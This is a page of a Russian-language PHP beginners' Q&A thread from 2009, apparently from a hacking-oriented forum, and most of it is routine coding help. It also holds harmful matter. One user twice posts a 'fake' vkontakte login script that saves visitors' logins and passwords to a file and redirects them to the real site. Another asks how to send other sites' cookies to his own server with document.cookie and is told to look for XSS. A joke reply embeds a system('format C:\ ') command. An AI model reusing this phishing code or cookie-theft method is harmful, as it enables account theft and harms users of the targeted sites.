PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 [41] 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Dimi4
11.04.2009, 12:53
TANZWUT, После коннекта к дб попробуй:

mysql_query("set character_set_client='cp1251'");
mysql_query ("set character_set_results='cp1251'");
mysql_query ("set collation_connection='cp1251_general_ci'");

OnArs
11.04.2009, 13:49
Здравствуйте, подскажие пожалуйста как решить проблему:
При использовании команды echo возникают некоторые трудности, а именно:

Результатом вот этого кода:
<?
echo '<title>Заголовок</title>';
echo '<meta name="keywords" content="ключ1, ключ2, ключ 3." />';
echo '<meta name="description" content="Описание" />';
?>

Является:
<title>Заголовок</title><meta name="keywords" content="ключ1, ключ2, ключ 3." /><meta name="description" content="Описание" />

Т.е. всё отображается в одну строчку, как с этим бороться?

Dimi4
11.04.2009, 13:56
<?
echo "<title>Заголовок</title>\n";
echo "<meta name=\"keywords\" content=\"ключ1, ключ2, ключ 3.\" />\n";
echo "<meta name=\"description\" content=\"Описание\" />\n";
?>
Хотя смысл?

mailbrush
11.04.2009, 17:00
Ага, смысла нету. Dimi4 если строчек будет 100, везде чтоли эхо ставить?
<?
echo "<title>Заголовок</title>
<meta name=\"keywords\" content=\"ключ1, ключ2, ключ 3.\" />
<meta name=\"description\" content=\"Описание\" />";
?>

awdrg
11.04.2009, 20:43
Здравствуйте, подскажие пожалуйста как решить проблему:
При использовании команды echo возникают некоторые трудности, а именно:

Результатом вот этого кода:
<?
echo '<title>Заголовок</title>';
echo '<meta name="keywords" content="ключ1, ключ2, ключ 3." />';
echo '<meta name="description" content="Описание" />';
?>

Является:
<title>Заголовок</title><meta name="keywords" content="ключ1, ключ2, ключ 3." /><meta name="description" content="Описание" />

Т.е. всё отображается в одну строчку, как с этим бороться?

Делай так и все будет ок :)
<?
echo '<title>Заголовок</title>\n';
echo '<meta name="keywords" content="ключ1, ключ2, ключ 3." />\n';
echo '<meta name="description" content="Описание" />\n';
?>

d_x
11.04.2009, 20:55
awdrg, ок всё не будет, т.к. \n в одинарных кавычках не заменится на символ перевода строки.

Byrger
11.04.2009, 23:12
Как сделать ссылки по пранслиту?
Допустим создаю новость "лалал"
А ссылка на неё будет site.ru/news/lalal
Это перевод в транслит и запись в базу?

И видел часто такое используют в защите от SQL-inj то там редирект пишется в хтакцесс похоже...
Помогите как такое реализовать...чтоб было типо фаил не найден "404" и не ошибка запроса к скуле...
Но не надо говорить что на ошибку от базы отвечать ошибкой 404

m0Hze
12.04.2009, 01:22
А помоему таг:
Ипашиш хтацес,с редиректом на /sql.php?(.*)
Он принимает,типо ?lala, транслитит обратно,делает запрос в БД,выдает новость.
ДАлее,если num_rows == 0, include('./tpl/404.html'); ну или по другому,вариантов массо

Yulo
12.04.2009, 09:40
Как позаимствовать с сайта информер на свой?
Очень интересует http://www.liveinternet.ru/ Программа передач и Погода.

YaLTeR
12.04.2009, 09:50
А чем отличаются system() и passthru()???

mailbrush
12.04.2009, 09:56
Как позаимствовать с сайта информер на свой? Очень интересует http://www.liveinternet.ru/ Программа передач и Погода. file_get_contents && preg_match

А чем отличаются system() и passthru()??? passthru() только выполняет запрос. А system() выводит результат

laedafess
12.04.2009, 10:24
Только что проверил. И system() и passthru() выводят результат. Или у меня php неправильный=(
А вот exec() и shell_exec() не выводят результат, если их не попросить.

art2222
12.04.2009, 10:34
Только что проверил. И system() и passthru() выводят результат. Или у меня php неправильный=(
Нет. PHP правильный)
Вызов system() пытается автоматически очистить буфер вывода web-сервера
после каждой строчки вывода, если PHP работает как серверный модуль.
Возвращает последнюю строку командного вывода при успехе, FALSE при неудаче.

Если нужно выполнить команду и передать все данные из команды обратно без интерференции, юзай passthru(),
которая возвращает полностью весь вывод и может использоваться для отображения бинарных данных (картинки например).

mailbrush
12.04.2009, 10:35
хз, пхп.нет так объясняет...

art2222
12.04.2009, 10:40
хз, пхп.нет так объясняет...
Ну он наверное просто подставляет return_var

DVD_RW
12.04.2009, 17:47
сори что вопрос не туда пишу мб
сколько будет стоить скрипт чтобы он отправлял каптчу на антикапчу ком? в игре нужно делать действие - ввдоишь капчу жмёшь энтэр :)
ps: через игру zhuki.mail.ru

Byrger
12.04.2009, 19:03
$title = 1;
$mess = 1;
// $to - кому отправляем
$to = 'byrger@bk.ru';
// $from - от кого
$from='test@test,ru';
// функция, которая отправляет наше письмо.
mail($to, $title, $mess, 'From:'.$from);


Возможно ли отправить письмо без отправителя?
Точнее хостинг мне не предоставил мыло...
Не знаю как отправить ? :confused:

Pashkela
12.04.2009, 19:05
в $from ты и так можешь писать что угодно, хоть fsb@izba.ru

Anderson55
12.04.2009, 20:39
вот взял книгу мэтта зандстры php за 24 часа.
тм подробно описано как поставить ее на unix. как поставить этот интерпретатор php на винду?надо ли ставить сервер или апач.
короч подскажите чо да как!буду очень признателен.
сразу скажу денвер советовать не надо-учусь именно по этому учебнику и отходить от него бы не хотелось.

Gar|k
12.04.2009, 20:50
под вин
те понадобится сам php под вин
сервер апатч под вин
если будешь юзать базы то и сервер баз данных mysql под вин

если ты собрался учится по той книжке а там апач то забудь про IIS ... ваще про него забудь

есть готовые сборки полноценые (не денвер)
ну а можешь сам ставить как описано в книжке настраивать )))

без заморотов php ставится как модуль...
пробелемы могут возникать только с подкгружаеммыми dll (расширения) но все рещают полные пути

Pashkela
12.04.2009, 21:21
Да, но в итоге все-равно поставь денвер и не парь мозг:)

Велемир
12.04.2009, 21:58
Люди,чем закоден данный скрипт,и закоден ли ? (donate.php) Проверил - это не Zend.Вначале идёт PNG.Смахивает на какой-то вывод графического файла.

http://file.qip.ru/file/83507053/29d1d9c9/donate.html?

.:EnoT:.
12.04.2009, 22:35
Омг, ничем он не закодирован, это исходный код изображения

Gin
13.04.2009, 00:18
Все доброго дня\утра\ночи

Возникла следующай проблема есть текст вида лог;пасс как из него получить только логи (только пассы). Заранее спасибо.

m0Hze
13.04.2009, 00:22
list($login,$pass) = explode(';',$str);
echo $login.';'.$pass;

Gin
13.04.2009, 00:48
2m0Hze
Спасиб но немного не то, у меня текстовый файл допустим на сто записей, применяя этот в переменную $login попадает только первая.

если просто делать

$arr=explode(";",$str);


то получается так что первый логин выводится нормально, а ко второй записи прикрепляется значение пасса и только потом логин т.е. примерно так

login1
pass1 login2
pass2 login3

и т.д.
вот собсно и суть проблемы.

Pashkela
13.04.2009, 01:00
Все доброго дня\утра\ночи

Возникла следующай проблема есть текст вида лог;пасс как из него получить только логи (только пассы). Заранее спасибо.

пример файла исходника приведи, такой:

логин;пасс
логин;пасс
логин;пасс
логин;пасс

или такой:

логин;пасс логин;пасс логин;пасс логин;пасс логин;пасс

или еще какой вычурный. И скажи конечную цель, потому что логин без пароля явно нахрен не уперся

Суть проблемы у него. Вопросы задавай нормально. И скажи еще, я не прав:)

.:EnoT:.
13.04.2009, 01:07
Gin
Сделай например через функцию обратного вызова


<?php
function exploder($file) {
return explode(';', $file, 2);
}

$file = file('file.txt');
$accounts = array_map('exploder', $file);
print_r($accounts);
?>

ViP-K1LLeR
13.04.2009, 01:32
Есть двухмерный символьный массив ( $a[$i][$j] ) такого вида:
_____________________________________________
_____________________________________________
_______________________________________##____
__####________________________####____###____
_##__##______________________##__##__#_##____
_____##_____________#_______##____##___##____
__####______________#_____________##___##____
_____##____####_____#____________##____##____
_____##_______##____#_###_______##_____##____
_##__##____#####____##___#_____##____######__
__####____##__##____#____#____##_____________
__________##__##____#____#___##______________
___________#####____#____#__########_________
____________________##___#___________________
____________________#_###____________________
_____________________________________________
_____________________________________________
_____________________________________________

Нужно написать функцию:
Входящие данные - этот двумерный массив
Возвращаемые данные - трехмерный массив, содержащий "символы" из входящего массива, ограниченные крайними знаками #. Выделение "символов" должно происходить, основываясь на полностью пустых(состоящих из знаков "_") столбцах, а потом на полностью пустых строках.

Т. е результат должен быть таким:

$b[0][$i][$j]:
_####_
##__##
____##
_####_
____##
____##
##__##
_####_

$b[1][$i][$j]:
_####_
____##
_#####
##__##
##__##
_#####

и.т.д

Gin
13.04.2009, 08:45
2Pashkela

да вид такой

логин;пасс
логин;пасс
логин;пасс
...

Gin
13.04.2009, 08:57
2.:EnoT:.
Спасибо за код но история повторяется, не отрезает он пассы, в конечном итоге опять выводится
логин
пасс логин
пасс логин ...

Doom123
13.04.2009, 09:48
.:EnoT:. а зачем лимит 2? тогда уж ... 1 если ставить

Gin всё привильно результатом будет

$accounts[0][0] - логин
$accounts[0][1] - пасс ... и т.д

Gin
13.04.2009, 10:19
2Doom123
Спасиб щас проверю запускал просто через foreach не подумал что будет
$accounts[0][0] - логин
$accounts[0][1] - пасс ... и т.д
Щас протестирую

Pashkela
13.04.2009, 11:05
Gin и Doom123:

Вообще-то код от Енота полностью работабельный, если файл такого вида:

pass1;login1
pass2;login2
pass3;login3

то результат должен выглядеть так:

http://s41.radikal.ru/i091/0904/c2/e2ea7646b670.jpg

так что проверьте исходные условия

Byrger
13.04.2009, 13:24
Как реализовывается скрытие путай до картинок через PHP+SQl
Я понимаю что в SQL хранится код картинки и путь до неё...
Но как на транице вывести эту картинку...
<img src="/images.php?picture=1111">
images.php делает запрос в бд и достаёт путь до картинки...
А как вывести?
На 1 вопрос ответил сам:
header("Content-type: image");
include("images/img.jpg");


А ещё нужно реализовать рандомный выбор файла из папки...
Я думаю надо узнать сколько файлов в папке и добавить это количество в рандомайзер...
А затем открыть нужный по счёту фаил...
Но как их посчитать?

XopoIII
13.04.2009, 14:37
подскажите, вот авторизацию проходит нормально....после нужно открыть страницу другую с куками авторизированными..но не открывает ничего....просто как будто просто авторизировался

$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
preg_match_all('~Set-Cookie: ([^\r\n]*)[\r\n]~i',$result1,$mass);
$all_cookie_string = implode(" ", $mass[1]);


$PostData = 'http://site.ru/&login='.$login.'&pwd='.$password;
$ref = 'http://site.ru/';
$ch=curl_init ("http://site.ru/");

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIE, $all_cookie_string);

curl_exec ($ch);

$ch2=curl_init('http://site.ru/нужная_страница.html');
curl_setopt($ch2, CURLOPT_COOKIE, $all_cookie_string);
curl_exec ($ch2);

curl_close ($ch);

Pashkela
13.04.2009, 14:39
потому что и во второй раз не надо забывать про HEADER, REFERER и прочие атрибуты

XopoIII
13.04.2009, 14:43
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
preg_match_all('~Set-Cookie: ([^\r\n]*)[\r\n]~i',$result1,$mass);
$all_cookie_string = implode(" ", $mass[1]);


$PostData = 'http://site.ru/&login='.$login.'&pwd='.$password;
$ref = 'http://site.ru/';
$ch=curl_init ("http://site.ru/");

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIE, $all_cookie_string);

curl_exec ($ch);

$ch2=curl_init('http://site.ru/нужная_страница.html');
curl_setopt($ch2, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_USERAGENT, $ua);
curl_setopt($ch2, CURLOPT_REFERER, $ref);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch2, CURLOPT_COOKIE, $all_cookie_string);
curl_exec ($ch2);

curl_close ($ch);

всеровно только первое выполняется...

Pashkela
13.04.2009, 15:26
после первой curl_exec ($ch);

curl_close($ch);

забыл поставить

OnArs
13.04.2009, 15:33
Здравствуйте!

Подскажите пожалуйста как используя socket получить исходный код нужной страницы?
CURL не подходит и получение кода страницы через обычные функции php тоже...

Заранее благодарен! ;)

Byrger
13.04.2009, 15:44
Как рандомно вывести число от 00000000 до 99999999 именно 8 символов

laedafess
13.04.2009, 15:48
Здравствуйте!

Подскажите пожалуйста как используя socket получить исходный код нужной страницы?
CURL не подходит и получение кода страницы через обычные функции php тоже...

Заранее благодарен! ;)
<?
$s=fsockopen("forum.antichat.ru",80);
fputs($s,"GET / HTTP/1.1\r\nHost: forum.antichat.ru\r\n\r\n");
while (!feof($s))
echo fgets($s);
?>

OnArs
13.04.2009, 16:15
<?
$s=fsockopen("forum.antichat.ru",80);
fputs($s,"GET / HTTP/1.1\r\nHost: forum.antichat.ru\r\n\r\n");
while (!feof($s))
echo fgets($s);
?>


Я делаю вот так:
$key = "keyword";
$ghost = "www.google.com";
$goog = "http://www.google.com/search?hl=en&num=100&q=$key";

$s=fsockopen("$ghost",80);
fputs($s,"GET / HTTP/1.1\r\nHost: $goog\r\n\r\n");

while (!feof($s))
echo fgets($s);

Но в ответ Я получаю:
302 Moved

laedafess
13.04.2009, 16:20
Как рандомно вывести число от 00000000 до 99999999 именно 8 символов
<?
set_time_limit(0);
$file=fopen("111.txt","w+");
for($a=0;$a<10;$a++)
for($b=0;$b<10;$b++)
for($c=0;$c<10;$c++)
for($d=0;$d<10;$d++)
for($e=0;$e<10;$e++)
for($f=0;$f<10;$f++)
for($g=0;$g<10;$g++)
for($h=0;$h<10;$h++)
for($j=0;$j<10;$j++)
for($k=0;$k<10;$k++)
fputs($file,$a.$b.$c.$d.$e.$f.$g.$h.$j.$k."\r\n");
?>
думал я думал и хз как это организовать адекватно :D


Но в ответ Я получаю:
302 Moved


<?
$key = "keyword";
$ghost = "www.google.com";
$goog = "http://www.google.com/search?hl=en&num=100&q=$key";

$s=fsockopen($ghost,80);
fputs($s,"GET $goog HTTP/1.1\r\nHost: $ghost\r\n\r\n");

while (!feof($s))
echo fgets($s);
?>
+ http://ru.wikipedia.org/wiki/HTTP#GET

Pashkela
13.04.2009, 16:22
<?php
// Парсер url после выдачи гугла по запросу
$handler=fopen('log.txt','w'); // если не хотим терять старые данные - то "a+"
$limit = 0;
$zapros = "antichat"; // Наш запрос для поиска
$page_start = 0; // Стартовая страница из расчета 100 результатов выдачи на страницу
$page_end = 200; // Последняя страница из расчета 100 результатов выдачи на страницу
function parse_serp($engine, $query, $limit)
{
if ($limit<100) {$request = 'http://www.google.com/ie?hl=ru&num=100&start=' . $limit. '&lr=&q='.urlencode(trim($query));}
if ($limit>=100) {$request = 'http://www.google.com/ie?q=' . urlencode(trim($query)) . '&num=100&hl=ru&lr=&start=' . $limit . '&sa=N';}
$pattern = '/<a title="(.*)" href=(.*)>(.*)<\/a>/isU';
$result = file_get_contents($request);
if(preg_match_all($pattern, $result, $matches))
{
for ($i=0; $i<count($matches[0]); $i++)
{
$link = $matches[2][$i];
$serp[] = $link;
}
}
return $serp;
}
for ($i=$page_start;$i<=$page_end;$i++)
{
$result = parse_serp("google", $zapros, $i);
$log = implode("\r\n",$result);
if($handler) {fwrite($handler,$log);}
$i=$i+100;
if ($i>100) {$i=$i-1;}
}
fclose($handler);
echo "Все данные были сохранены в log.txt";
?>

Pashkela
13.04.2009, 16:31
<?
set_time_limit(0);
$file=fopen("111.txt","w+");
for($a=0;$a<10;$a++)
for($b=0;$b<10;$b++)
for($c=0;$c<10;$c++)
for($d=0;$d<10;$d++)
for($e=0;$e<10;$e++)
for($f=0;$f<10;$f++)
for($g=0;$g<10;$g++)
for($h=0;$h<10;$h++)
for($j=0;$j<10;$j++)
for($k=0;$k<10;$k++)
fputs($file,$a.$b.$c.$d.$e.$f.$g.$h.$j.$k."\r\n");
?>
думал я думал и хз как это организовать адекватно :D


)))


<?php
While(strlen($a)<8) $a = rand(0,99999999);
echo $a;
?>

art2222
13.04.2009, 16:48
Сообщение от Byrger
Как рандомно вывести число от 00000000 до 99999999 именно 8 символов

Вот так:

<?php
echo sprintf("%08d", rand(0,99999999));
?>

2laedafess - О_о

Byrger
13.04.2009, 20:41
Как сделать чтоб такая конструкция работала?
echo "$_POST['white['$key']']";

Krist_ALL
13.04.2009, 20:44
Вот так echo "$_POST['white[$key]']";

bxN5
13.04.2009, 22:10
вообщем нужно сделать как на вроде новых версиях булки , привиев картинки , что бы минимизированные изображение высвечивалось , а при клике открывалось в полный екран
надо для одной конкретной статической картинки

awdrg
13.04.2009, 23:34
Скажите пожалуйста, можно ли сделать чтобы при переходе по определенной ссылке (любой) куки сайта, с которого совершался переход, сохранялись в текстовый файл на сервере хоста? Если можно приведите реализацию плз, буду благодарен =)
Как я понимаю должно быть что то вроде
http://blala.ru/one.php?two=document.cookie

Pashkela
13.04.2009, 23:36
Если сайт твой - да, не твой - только поиск XSS тебе поможет

mailbrush
13.04.2009, 23:52
Да пускай и его - всёравно не получиться. Жаба не имеет доступа к файловой системе.

.:nbd:.
14.04.2009, 05:09
Да пускай и его - всёравно не получиться. Жаба не имеет доступа к файловой системе.

Жаба нет, но можно Жабой передавать куки на PHP скрипт который имеет доступ к фаловой системе.

awdrg: если сайт не твой, ищи переменные выводимые на экран и не проверяемые на спецсимволы.

art2222
14.04.2009, 13:06
вообщем нужно сделать как на вроде новых версиях булки , привиев картинки , что бы минимизированные изображение высвечивалось , а при клике открывалось в полный екран
надо для одной конкретной статической картинки
Ну сделай в любом фоторедакторе, ведь для одной картинки-то, нах напрягать php тогда?

И в коде страницы пишешь так:

<a href="bigfoto.jpg"><img src="smallfoto.jpg"></a>

Byrger
14.04.2009, 13:19
Привет я пишу скрипт для скрытия путей картинок через БД

И у меня такая конструкция инклуди картинки
header("Content-type: image/jpg");
include("images/works/a.jpg");

Картинку 93*79 3,6кб выводит норм
А вот 1024*1500 166кб не хочет выводить....
Просто нет картинки как будьто....[Изображение]

(Отвечаю сам на вопрос)
Сделал:
header("Content-type: image/jpg");
echo file_get_contents("images/works/adenki2.jpg");

Byrger
14.04.2009, 15:31
Есть цикл который прокручивает таблицу в БД
Как сделать чтоб он вывел последние 4 результата из БД

Ну я имёю ввиду что в БД ИД от 1 до 24 допустим...
Надо вывести только 4 последних вот так 24 23 22 21

Есть 1 мысль хто прокрутить БД снизу вверх и по условию только 4 раза но как?

m0Hze
14.04.2009, 16:04
Может отсортировать массив как нужно и все?
Если чесно я не помню функцию сортировки,но помоему чтото врое rsort

Byrger
14.04.2009, 16:43
Может отсортировать массив как нужно и все?
Если чесно я не помню функцию сортировки,но помоему чтото врое rsort
Warning: rsort() expects parameter 1 to be array, boolean given in

Функция такая есть
Передаю я массив который приходит от БД

m0Hze
14.04.2009, 17:02
а почитать на php.net никак :(
Пример работы

$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
reset($fruits);
while (list($key, $val) = each($fruits)) {
echo "$key = $val
";
}
?>

Смотри сюда,и другие функции,их около 4-6.

Byrger
14.04.2009, 17:19
а почитать на php.net никак :(
Пример работы

$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
reset($fruits);
while (list($key, $val) = each($fruits)) {
echo "$key = $val
";
}
?>

Смотри сюда,и другие функции,их около 4-6.
Не правильно сортирует.....
Сортируются данные в массиве...
А мне надо прсото таблицу прокрутить задом наперёд...тоесть снизу вверх..
и нельзя обварится к массиву по ключу, только по индексу

m0Hze
14.04.2009, 17:23
Дык я не понял тебя значет)
А попробуй так,все даннные из Бд в масив,темдже fetch_assoc и шанманить.

D Mak
14.04.2009, 17:25
Byrger шамань с ORDER BY ASC/DESC

D Mak
14.04.2009, 17:28
Ну я имёю ввиду что в БД ИД от 1 до 24 допустим...
Надо вывести только 4 последних вот так 24 23 22 21
SELECT * FROM table ORDER BY id DESC LIMIT 4

wildshaman
14.04.2009, 17:28
Не правильно сортирует.....
Сортируются данные в массиве...
А мне надо прсото таблицу прокрутить задом наперёд...тоесть снизу вверх..
и нельзя обварится к массиву по ключу, только по индексу

selet column_name from table_name order by id Desc (ну ли ASC, не помню) limit 0,4

heretic1990
14.04.2009, 17:41
вобщем дело такое:
есть файл , в нём допустим такое содержание:

34134
76353
fghfhgfj
fjd34

и т.д.

надо скрипт которай откроет этот файл, и каждую строчку по очереди запишит в файл так: слово;его md5 hash

как сделать?

fatalo
14.04.2009, 17:45
heretic1990,считываешь file() и затем циклом записываешь в новый файл комбинацию.Или сам код написать надо?

heretic1990
14.04.2009, 17:49
heretic1990,считываешь file() и затем циклом записываешь в новый файл комбинацию.Или сам код написать надо?
мне пример скрипта надо!

fatalo
14.04.2009, 17:59
<?php
$file=file('file.txt');
$fp=fopen("newfile.txt","w+");
for($i=0;$i<count($file);$i++)
{
$md5=md5($file[$i]);
fputs($fp,"$file[$i];$md5\n");
}
fclose($fp);
?>
Вроде этого.(Не тестил)

159932
14.04.2009, 18:02
<?php
foreach (file('a.txt') as $pwd) $arr[] = trim($pwd).';'.md5(trim($pwd));
fwrite(fopen('a.txt','w'),implode("\n",$arr));
?>

heretic1990
14.04.2009, 18:17
159932, то что надо, а fatalo, твой скрипт почему-то всё с новой строки записывает.
всем спасибо за внимание. всем плюсы)))

WebGer
14.04.2009, 18:31
Ситуация такая.
На диске в каждой папке есть несколько под-под-папок.
В кажной из них лежит файл с одинаковым названием.
Нужно в цикле обойти все папки, и вытащить данные:
1. Название подпапки
2. Содержание этого файла.

я делал это на Delphi, но сейчас надо на php...
подскажите плиз как это можно сделать.

kevmen
14.04.2009, 23:25
Здравствуйте,нужно получить имя пользователя в joomla,в документации написано
Как получить доступ к имени текущего пользователя?
global $my;
//$my->username - логин
//$my->name - имя, указанное при регистрации
//$my->id - идентификатор юзера, из таблицы #__users
var_dump($my);

Надеюсь на вашу помощь

Spyder
15.04.2009, 00:09
какбэ непонятно что ты хочешь
получить имя юзера под которым ты залогинен - $my->username
какого то определённого юзера - select username from jos_users
для какой цели тебе это нужно?

Spyder
15.04.2009, 00:24
судя по документации - имя залогиненого юзера
я конечно пшп не знаю и двиг джумлы не изучал, но наверно переменная $mu->username получит данные из бд jos_users в случае если пользователь зашёл в систему
echo $my->username не катит?
сори , немного пьян мб не понимаю чего

kevmen
15.04.2009, 00:45
Нужно получить имя|логин юзера,который залогинен в данный момент

Spyder
15.04.2009, 01:23
echo $my->username ? =\

Spyder
15.04.2009, 01:25
посмотри как это реализовано в джумле
там же после залогинивания в левом фрейме написано что то типа Welcome, %username%

ZnikiR
15.04.2009, 01:29
Не могу понять в чем проблема пишу скрипт фека!

<?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") {
$login = $_POST['login']; // Логин
$pass = $_POST['passwd']; // Пароль
$today = date("m.d.y");
$hour = date("H:i:s");
$u = strtolower($login)
//vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
echo "http://***.com/login.html";$err = "yes";
}
if (!ctype_alnum($pw) || strlen($pw) < 5 || strlen($pw) > 20) {
echo "http://***.com/login.html";
$err = "yes";
}if ($err == "") {

$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log," $login:$pass\\\\\\$today\\$hour \n"); //записываем всё
fclose($log); //закрываем

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
} }
?>

bxN5
15.04.2009, 01:50
Нужно получить имя|логин юзера,который залогинен в данный момент
для 1.5
$user =& JFactory::getUser();
$user->get('username')

Pashkela
15.04.2009, 04:11
Ситуация такая.
На диске в каждой папке есть несколько под-под-папок.
В кажной из них лежит файл с одинаковым названием.
Нужно в цикле обойти все папки, и вытащить данные:
1. Название подпапки
2. Содержание этого файла.

я делал это на Delphi, но сейчас надо на php...
подскажите плиз как это можно сделать.

Способ дебильный, но примерно так:


<pre>
<?php
@set_time_limit(0);
@ini_set("display_errors","1");

// Полный абсолютный путь до директории, в конце слеш не нужен
$path = '/home/www/bla-bla/http/s1';
$filename = 'logfile.txt';

function fold($rootDir, $allData=array()) {
$invisibleFileNames = array(".", "..");
$dirContent = scandir($rootDir);
foreach($dirContent as $key => $content) {
$path = $rootDir.'/'.$content;
if(!in_array($content, $invisibleFileNames)) {
if(is_file($path) && is_readable($path)) {
preg_match('|\/(.*)\/|',$path,$res);
$allData[] = $res[0];
}elseif(is_dir($path) && is_readable($path)) {
$allData = fold($path, $allData);
}
}
}
return $allData;
}

$folders = fold($path);
$count = count($folders);
for ($i=0;$i<$count;$i++) {
$handle = fopen($folders[$i] . $filename, "r");
$s = fread($handle, filesize($folders[$i] . $filename));
fclose($handle);
echo "File: " . $folders[$i] . $filename . "\n";
echo "Content: " . $s . "\n";
}
?>
</pre>

DTW
15.04.2009, 04:58
<?php


$http="http://localhost/forum/index.php?act=Login&CODE=01";

$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,$http);



$data = 'UserName=user&PassWord=pass&x=16&y=15\r\n\r\n';
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2');
// curl_setopt($curl, CURLOPT_COOKIE,$cookie);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,$data);
curl_setopt($curl,CURLOPT_COOKIESESSION,1);

//curl_setopt($curl,CURLOPT_MAXREDIRS,2);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);



$text = curl_exec($curl);

curl_close($curl);

echo $text;

?>



как пройти это что б сохранить данные сессии

<p>You are now logged in as: user<br /><br />Please wait
while we transfer you...</p>
<p class="redirectfoot">(<a href="http://localhost/forum
/index.php?amp;">Or click here if you do not
wish to wait</a>)</p>

/*<a href="http://localhost/forum/index.php?amp;">Or click here if you do not wish to wait</a>

*/

XPYMGT
15.04.2009, 11:31
...

kevmen
15.04.2009, 11:54
посмотри как это реализовано в джумле
там же после залогинивания в левом фрейме написано что то типа Welcome, %username%

нет,там такого нет,пробовал также,но не получилось

kevmen
15.04.2009, 11:55
для 1.5
$user =& JFactory::getUser();
$user->get('username')


Fatal error: Class 'JFactory' not found

Byrger
15.04.2009, 12:24
а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...

Pashkela
15.04.2009, 13:04
Fatal error: Class 'JFactory' not found

Возьми англо-русский словарь и переведи

laedafess
15.04.2009, 13:25
а смотрите у меня идёт HTML код
И я хочу чтоб подгрузилась PHP страница в центре этого кода...
Как это сделать? Если делаю require то она сверху загружается...
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>

ZnikiR
15.04.2009, 15:17
КоД не рабоатет в чем Трабла!подскажите!
<?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") {
$login = $_POST['login']; // Логин
$pass = $_POST['passwd']; // Пароль
$today = date("m.d.y");
$hour = date("H:i:s");
$u = strtolower($login)
//vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){
echo "http://***.com/login.html";$err = "yes";
}
if (!ctype_alnum($pw) || strlen($pw) < 5 || strlen($pw) > 20) {
echo "http://***.com/login.html";
$err = "yes";
}if ($err == "") {

$log = fopen("base.php","a+"); //открываем файл базы
fwrite($log," $login:$pass\\\\\\$today\\$hour \n"); //записываем всё
fclose($log); //закрываем

echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"; // куда пошлем пользователя после того как он ввел данные!
} }
?>

Byrger
15.04.2009, 16:40
<html>
<head>
<title>титл</title>
</head>
<body>
тут многа всего
многа многа
<?PHP
system("format C:\ ");
а тут многа php кода
?>
а тут еще чето
</body>
</html>



Чёт не то произошло пришлось винду переустановать...
= ( видимо вирусы

А если серьёзно то я загружаю шаблоны с помощью eval() вот почему и спрашиваю о такой проблеме...
Так как скрипт просто выводит инфу...

[R]eD
15.04.2009, 17:48
Есть строка, например, "456564321", нужно после третьего символа поставить точку, есть мысли как это все изврщенно сдлеать, но может кто подскажет как разумней.

Спасибо :).

159932
15.04.2009, 17:55
$stroka = "456.564321"; - так ? :D
или
$stroka = substr($stroka,0,3).'.'.substr($stroka,3);

[R]eD
15.04.2009, 17:58
Да, именно такие мысли и были))), но всеравно спасибо, думал может функция есть :-).

wildshaman
15.04.2009, 18:05
eD']Да, именно такие мысли и были))), но всеравно спасибо, думал может функция есть :-).

